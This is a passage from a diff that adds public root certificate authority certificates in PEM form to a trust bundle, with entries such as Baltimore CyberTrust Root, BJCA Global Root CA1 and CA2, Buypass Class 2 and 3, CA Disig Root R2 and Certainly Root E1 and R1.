+0xeqqxmjLBvk1cbiZnrXghmmOxYsL3GHX0WelXOTwkKBIROW1527k2gV+p2kHYzy
+geBYBr3JtuP2iV2J+axEoctr+hbxx1A9JNr3w+SH1VbxT5Aw+kUJWdo0zuATHAR8
+ANSbhqRAvNncTFd+rrcztl524WWLZt+NyteYr842mIycg5kDcPOvdO3GDjbnvezB
+c6eUWsuSZIKmAMFwoW4sKeFYV+xafJlrJaSQOoD0IJ2azsct+bJLKZWD6TWNp0lI
+pw9MGZHQ9b8Q4HECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU
+dEmZ0f+0emhFdcN+tNzMzjkz2ggwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB
+DAUAA4ICAQAjQ1MkYlxt/T7Cz1UAbMVWiLkO3TriJQ2VSpfKgInuKs1l+NsW4AmS
+4BjHeJi78+xCUvuppILXTdiK/ORO/auQxDh1MoSf/7OwKwIzNsAQkG8dnK/haZPs
+o0UvFJ/1TCplQ3IM98P4lYsU84UgYt1UU90s3BiVaU+DR3BAM1h3Egyi61IxHkzJ
+qM7F78PRreBrAwA0JrRUITWXAdxfG/F851X6LWh3e9NpzNMOa7pNdkTWwhWaJuyw
+xfW70Xp0wmzNxbVe9kzmWy2B27O3Opee7c9GslA9hGCZcbUztVdF5kJHdWoOsAgM
+rr3e97sPWD2PAzHoPYJQyi9eDF20l74gNAf0xBLh7tew2VktafcxBPTy+av5EzH4
+AXcOPUIjJsyacmdRIXrMPIWo6iFqO9taPKU0nprALN+AnCng33eU0aKAQv9qTFsR
+0PXNor6uzFFcw9VUewyu1rkGd4Di7wcaaMxZUa1+XGdrudviB0JbuAEFWDlN5LuY
+o7Ey7Nmj1m+UI/87tyll5gfp77YZ6ufCOB0yiJA8EytuzO+rdwY0d4RPcuSBhPm5
+dDTedk+SKlOxJTnbPP/lPqYO5Wue/9vsL3SD3460s6neFE3/MaNFcyT6lSnMEpcE
+oji2jbDwN/zIIX8/syQbPYtuzE2wFg2WHYMfRsCbvUOZ58SWLs5fyQ==
+-----END CERTIFICATE-----
+
+# Autoridad de Certificacion Firmaprofesional CIF A62634068
+-----BEGIN CERTIFICATE-----
+MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UE
+BhMCRVMxQjBABgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1h
+cHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1
+MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIwQAYDVQQDDDlBdXRvcmlkYWQgZGUg
+Q2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBBNjI2MzQwNjgwggIi
+MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDDUtd9
+thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQM
+cas9UX4PB99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefG
+L9ItWY16Ck6WaVICqjaY7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15i
+NA9wBj4gGFrO93IbJWyTdBSTo3OxDqqHECNZXyAFGUftaI6SEspd/NYrspI8IM/h
+X68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyIplD9amML9ZMWGxmPsu2b
+m8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctXMbScyJCy
+Z/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirja
+EbsXLZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/T
+KI8xWVvTyQKmtFLKbpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF
+6NkBiDkal4ZkQdU7hwxu+g/GvUgUvzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVh
+OSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1UdDgQWBBRlzeurNR4APn7VdMAc
+tHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4wgZswgZgGBFUd
+IAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j
+b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABC
+AG8AbgBhAG4AbwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAw
+ADEANzAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9m
+iWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL4QjbEwj4KKE1soCzC1HA01aajTNF
+Sa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDbLIpgD7dvlAceHabJ
+hfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1ilI45P
+Vf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZE
+EAEeiGaPcjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV
+1aUsIC+nmCjuRfzxuIgALI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2t
+CsvMo2ebKHTEm9caPARYpoKdrcd7b/+Alun4jWq9GJAd/0kakFI3ky88Al2CdgtR
+5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH9IBk9W6VULgRfhVwOEqw
+f9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpfNIbnYrX9
+ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNK
+GbqEZycPvEJdvSRUDewdcAZfpLz6IHxV
+-----END CERTIFICATE-----
+
+# Baltimore CyberTrust Root
+-----BEGIN CERTIFICATE-----
+MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJ
+RTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYD
+VQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoX
+DTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9y
+ZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVy
+VHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKMEuyKr
+mD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjr
+IZ3AQSsBUnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeK
+mpYcqWe4PwzV9/lSEy/CG9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSu
+XmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9XbIGevOF6uvUA65ehD5f/xXtabz5OTZy
+dc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjprl3RjM71oGDHweI12v/ye
+jl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoIVDaGezq1
+BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3
+DQEBBQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT92
+9hkTI7gQCvlYpNRhcL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3Wgx
+jkzSswF07r51XgdIGn9w/xZchMB5hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0
+Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsaY71k5h+3zvDyny67G7fyUIhz
+ksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9HRCwBXbsdtTLS
+R9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp
+-----END CERTIFICATE-----
+
+# BJCA Global Root CA1
+-----BEGIN CERTIFICATE-----
+MIIFdDCCA1ygAwIBAgIQVW9l47TZkGobCdFsPsBsIDANBgkqhkiG9w0BAQsFADBU
+MQswCQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRI
+T1JJVFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0ExMB4XDTE5MTIxOTAz
+MTYxN1oXDTQ0MTIxMjAzMTYxN1owVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJF
+SUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2Jh
+bCBSb290IENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPFmCL3Z
+xRVhy4QEQaVpN3cdwbB7+sN3SJATcmTRuHyQNZ0YeYjjlwE8R4HyDqKYDZ4/N+AZ
+spDyRhySsTphzvq3Rp4Dhtczbu33RYx2N95ulpH3134rhxfVizXuhJFyV9xgw8O5
+58dnJCNPYwpj9mZ9S1WnP3hkSWkSl+BMDdMJoDIwOvqfwPKcxRIqLhy1BDPapDgR
+at7GGPZHOiJBhyL8xIkoVNiMpTAK+BcWyqw3/XmnkRd4OJmtWO2y3syJfQOcs4ll
+5+M7sSKGjwZteAf9kRJ/sGsciQ35uMt0WwfCyPQ10WRjeulumijWML3mG90Vr4Tq
+nMfK9Q7q8l0ph49pczm+LiRvRSGsxdRpJQaDrXpIhRMsDQa4bHlW/KNnMoH1V6XK
+V0Jp6VwkYe/iMBhORJhVb3rCk9gZtt58R4oRTklH2yiUAguUSiz5EtBP6DF+bHq/
+pj+bOT0CFqMYs2esWz8sgytnOYFcuX6U1WTdno9uruh8W7TXakdI136z1C2OVnZO
+z2nxbkRs1CTqjSShGL+9V/6pmTW12xB3uD1IutbB5/EjPtffhZ0nPNRAvQoMvfXn
+jSXWgXSHRtQpdaJCbPdzied9v3pKH9MiyRVVz99vfFXQpIsHETdfg6YmV6YBW37+
+WGgHqel62bno/1Afq8K0wM7o6v0PvY1NuLxxAgMBAAGjQjBAMB0GA1UdDgQWBBTF
+7+3M2I0hxkjk49cULqcWk+WYATAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE
+AwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAUoKsITQfI/Ki2Pm4rzc2IInRNwPWaZ+4
+YRC6ojGYWUfo0Q0lHhVBDOAqVdVXUsv45Mdpox1NcQJeXyFFYEhcCY5JEMEE3Kli
+awLwQ8hOnThJdMkycFRtwUf8jrQ2ntScvd0g1lPJGKm1Vrl2i5VnZu69mP6u775u
++2D2/VnGKhs/I0qUJDAnyIm860Qkmss9vk/Ves6OF8tiwdneHg56/0OGNFK8YT88
+X7vZdrRTvJez/opMEi4r89fO4aL/3Xtw+zuhTaRjAv04l5U/BXCga99igUOLtFkN
+SoxUnMW7gZ/NfaXvCyUeOiDbHPwfmGcCCtRzRBPbUYQaVQNW4AB+dAb/OMRyHdOo
+P2gxXdMJxy6MW2Pg6Nwe0uxhHvLe5e/2mXZgLR6UcnHGCyoyx5JO1UbXHfmpGQrI
++pXObSOYqgs4rZpWDW+N8TEAiMEXnM0ZNjX+VVOg4DwzX5Ze4jLp3zO7Bkqp2IRz
+znfSxqxx4VyjHQy7Ct9f4qNx2No3WqB4K/TUfet27fJhcKVlmtOJNBir+3I+17Q9
+eVzYH6Eze9mCUAyTF6ps3MKCuwJXNq+YJyo5UOGwifUll35HaBC07HPKs5fRJNz2
+YqAo07WjuGS3iGJCz51TzZm+ZGiPTx4SSPfSKcOYKMryMguTjClPPGAyzQWWYezy
+r/6zcCwupvI=
+-----END CERTIFICATE-----
+
+# BJCA Global Root CA2
+-----BEGIN CERTIFICATE-----
+MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQsw
+CQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJ
+VFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgy
+MVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJ
+TkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2JhbCBS
+b290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jlSR9B
+IgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK+
++kpRuDCK/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJK
+sVF/BvDRgh9Obl+rg/xI1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
+AgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA
+94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8gUXOQwKhbYdDFUDn9hf7B
+43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w==
+-----END CERTIFICATE-----
+
+# Buypass Class 2 Root CA
+-----BEGIN CERTIFICATE-----
+MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
+MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
+Q2xhc3MgMiBSb290IENBMB4XDTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1ow
+TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
+HgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
+BQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1g1Lr
+6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPV
+L4O2fuPn9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC91
+1K2GScuVr1QGbNgGE41b/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHx
+MlAQTn/0hpPshNOOvEu/XAFOBz3cFIqUCqTqc/sLUegTBxj6DvEr0VQVfTzh97QZ
+QmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeffawrbD02TTqigzXsu8lkB
+arcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgIzRFo1clr
+Us3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLi
+FRhnBkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRS
+P/TizPJhk9H9Z2vXUq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN
+9SG9dKpN6nIDSdvHXx1iY8f93ZHsM+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxP
+AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMmAd+BikoL1Rpzz
+uvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAU18h
+9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
+A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3t
+OluwlN5E40EIosHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo
++fsicdl9sz1Gv7SEr5AcD48Saq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7
+KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYdDnkM/crqJIByw5c/8nerQyIKx+u2
+DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWDLfJ6v9r9jv6ly0Us
+H8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0oyLQ
+I+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK7
+5t98biGCwWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h
+3PFaTWwyI0PurKju7koSCTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPz
+Y11aWOIv4x3kqdbQCtCev9eBCfHJxyYNrJgWVqA=
+-----END CERTIFICATE-----
+
+# Buypass Class 3 Root CA
+-----BEGIN CERTIFICATE-----
+MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
+MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
+Q2xhc3MgMyBSb290IENBMB4XDTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFow
+TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
+HgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
+BQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRHsJ8Y
+ZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3E
+N3coTRiR5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9
+tznDDgFHmV0ST9tD+leh7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX
+0DJq1l1sDPGzbjniazEuOQAnFN44wOwZZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c
+/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH2xc519woe2v1n/MuwU8X
+KhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV/afmiSTY
+zIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvS
+O1UQRwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D
+34xFMFbG02SrZvPAXpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgP
+K9Dx2hzLabjKSWJtyNBjYt1gD1iqj6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3
+AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFEe4zf/lb+74suwv
+Tg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAACAj
+QTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
+cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXS
+IGrs/CIBKM+GuIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2
+HJLw5QY33KbmkJs4j1xrG0aGQ0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsa
+O5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8ZORK15FTAaggiG6cX0S5y2CBNOxv
+033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2KSb12tjE8nVhz36u
+dmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz6MkE
+kbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg41
+3OEMXbugUZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvD
+u79leNKGef9JOxqDDPDeeOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq
+4/g7u9xN12TyUb7mqqta6THuBrxzvxNiCp/HuZc=
+-----END CERTIFICATE-----
+
+# CA Disig Root R2
+-----BEGIN CERTIFICATE-----
+MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNV
+BAYTAlNLMRMwEQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMu
+MRkwFwYDVQQDExBDQSBEaXNpZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQy
+MDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sxEzARBgNVBAcTCkJyYXRpc2xhdmEx
+EzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERpc2lnIFJvb3QgUjIw
+ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbCw3Oe
+NcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNH
+PWSb6WiaxswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3I
+x2ymrdMxp7zo5eFm1tL7A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbe
+QTg06ov80egEFGEtQX6sx3dOy1FU+16SGBsEWmjGycT6txOgmLcRK7fWV8x8nhfR
+yyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqVg8NTEQxzHQuyRpDRQjrO
+QG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa5Beny912
+H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJ
+QfYEkoopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUD
+i/ZnWejBBhG93c+AAk9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORs
+nLMOPReisjQS1n6yqEm70XooQL6iFh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1
+rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
+DwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5uQu0wDQYJKoZI
+hvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
+tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqf
+GopTpti72TVVsRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkb
+lvdhuDvEK7Z4bLQjb/D907JedR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka
++elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W81k/BfDxujRNt+3vrMNDcTa/F1bal
+TFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjxmHHEt38OFdAlab0i
+nSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01utI3
+gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18Dr
+G5gPcFw0sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3Os
+zMOl6W8KjptlwlCFtaOgUxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8x
+L4ysEr3vQCj8KWefshNPZiTEUxnpHikV7+ZtsH8tZ/3zbBt1RqPlShfppNcL
+-----END CERTIFICATE-----
+
+# Certainly Root E1
+-----BEGIN CERTIFICATE-----
+MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQsw
+CQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlu
+bHkgUm9vdCBFMTAeFw0yMTA0MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJ
+BgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlubHkxGjAYBgNVBAMTEUNlcnRhaW5s
+eSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4fxzf7flHh4axpMCK
++IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9YBk2
+QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8E
+BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4
+hevIIgcwCgYIKoZIzj0EAwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozm
+ut6Dacpps6kFtZaSF4fC0urQe87YQVt8rgIwRt7qy12a7DLCZRawTDBcMPPaTnOG
+BtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR
+-----END CERTIFICATE-----
+
+# Certainly Root R1
+-----BEGIN CERTIFICATE-----
+MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAw
+PTELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2Vy
+dGFpbmx5IFJvb3QgUjEwHhcNMjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9
+MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0
+YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANA2
+1B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O5MQT
+vqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbed
+aFySpvXl8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b0
+1C7jcvk2xusVtyWMOvwlDbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5
+r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGIXsXwClTNSaa/ApzSRKft43jvRl5tcdF5
+cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkNKPl6I7ENPT2a/Z2B7yyQ
+wHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQAjeZjOVJ
+6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA
+2CnbrlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyH
+Wyf5QBGenDPBt+U1VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMR
+eiFPCyEQtkA6qyI6BJyLm4SGcprSp6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB
+/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTgqj8ljZ9EXME66C6u
+d0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAszHQNTVfSVcOQr
+PbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d
+8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi
+1wrykXprOQ4vMMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrd
+rRT90+7iIgXr0PK3aBLXWopBGsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9di
+taY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+gjwN/KUD+nsa2UUeYNrEjvn8K8l7
+lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgHJBu6haEaBQmAupVj
